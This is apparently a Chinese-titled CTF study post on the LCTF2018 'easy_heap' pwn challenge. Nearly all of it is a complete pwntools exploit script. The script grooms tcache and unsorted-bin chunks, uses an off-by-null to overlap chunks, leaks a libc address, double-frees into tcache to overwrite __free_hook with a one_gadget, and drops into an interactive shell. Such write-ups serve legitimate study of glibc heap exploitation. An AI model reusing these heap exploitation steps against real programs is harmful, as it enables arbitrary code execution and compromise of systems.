[调试逆向] LCTF2018 PWN easy_heap学习(以及tcache的个人理解)

patchelf --set-interpreter /你的ld链接器的绝对路径/ld-2.**.so ./你的elf
patchelf --set-rpath /你的共享库所在文件夹的绝对路径/ ./你的elf

from pwn import *
context.log_level = "INFO"
io = process('./easy_heap')

libc = ELF('/home/eclipse/tools/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so')
one_gadget1 = 0x4f2a5
one_gadget2 = 0x4f302
one_gadget3 = 0x10a2fc
def slog(name,address): io.success(name +"========>"+ hex(address))
def alloc(size,content) :
    io.recvuntil('> ')
    io.sendline('1')
    io.recvuntil('size \n> ')
    io.sendline(str(size))
    io.recvuntil('content \n> ')
    io.sendline(content)

def free(index) :
    io.recvuntil('> ')
    io.sendline('2')
    io.recvuntil('index \n> ')
    io.sendline(str(index))

def show(index) :
    io.recvuntil('> ')
    io.sendline('3')
    io.recvuntil('index \n> ')
    io.sendline(str(index))

def quit(size,content) :
    io.recvuntil('> ')
    io.sendline('4')

#===============  malloc 10 chunks ===================#
for i in range(10):
    alloc(0xf0,'aaaaaa')
#===============  done  =====================#


#==============  free these chunk to should bins ===========#
for i in range(6):
    free(i)
free(9)

for i in range(6,9):
    free(i)
#now the chunk has 0-6 in tcache,and 7-9 in unsorted bin
#except that,the 7-9 chunk has align in together ,the chunk8's prev_size is 0x100 , and chunk9 is 0x200
#===============  done  =====================#

#========= re-alloc these chunk ,but the number is revert  ============#
# after that ,0-6 chunks has revert(because of the FILO in tcachei),and the one unsorted chunk has been part with 3 from 7-9
for i in range(10):
    alloc(0xf0,'bbbb')
#===============  done  =====================#

#========= according to the FILO in tcache ,we should free chunk8 in the end  ==========#
for i in range(6):
    free(i)
free(8)                 
#now the tcache is full of chunk,and the chunk8 is the first to malloc 
#===============  done  =====================#

#============ now we should start our leakage ==========#
free(7)         #this chunk will put to the unsorted bin, and it's fd and bk is point to the unsortedbin address
alloc(0xf8,'hello')     #because the chunk8 is near by the chunk9,so we should use off-by-null to fit the \x00
# and until now ,tcache is just 6 entity
#after that ,progress thinks the chunk0(old chunk8) ,old chunk7,and the chunk9 is a big chunk
#now the tcache capacity is 6 ,so we should free it ,so that we can malloc the old chunk7 for leakage
free(6)         #now the tcache is full
free(9)
# the program hold the view that it cut the big chunk's 1/3 for giving us ,so it's fd and bk pass for the chunk0(just old chunk8,and ,the chunk0 is useable)
# because the tcache is full ,so we need to clear out it so that we can malloc the oldchunk7
for i in range(8):
    alloc(0xf8,'aaaaa')
#so we can check the unsorted bin address!!!!
show(0)
unsorted_addr = u64(io.recv(6).ljust(8,b'\x00'))
slog('unsorted_bin_address',unsorted_addr)
#===============  done  =====================#

#============== calculate the offset in libc ============#
main_arena_addr = unsorted_addr - 0x60
slog('main_adrena_address',main_arena_addr)
malloc_hook = libc.sym['__malloc_hook']
libc_base = main_arena_addr - malloc_hook - 0x10 
slog('libc_base',libc_base)
one_gadget1 += libc_base
one_gadget2 += libc_base
one_gadget3 += libc_base
#===============  done  =====================#

#============== exploitation ==============#
# now the chunk situation is unsortedbin ->(chunk0(using),chunk9) tcache bins -> null
# if we malloc(0xf8) ,then chunk0 will be allocatedd to chunk9,so that we can use double free
alloc(0xf0,'ccccc')
#then we free twice
free(1)             #these two guys is helping us to pass the tcache check
free(2)
free(0)
free(9)
free_hook = libc.sym['__free_hook'] + libc_base
slog('free_hook_address',free_hook)
payload = p64(free_hook)

alloc(0xf0,payload)
alloc(0xf0,'aaaaa')

alloc(0xf0,p64(one_gadget2))
free(1)
io.interactive()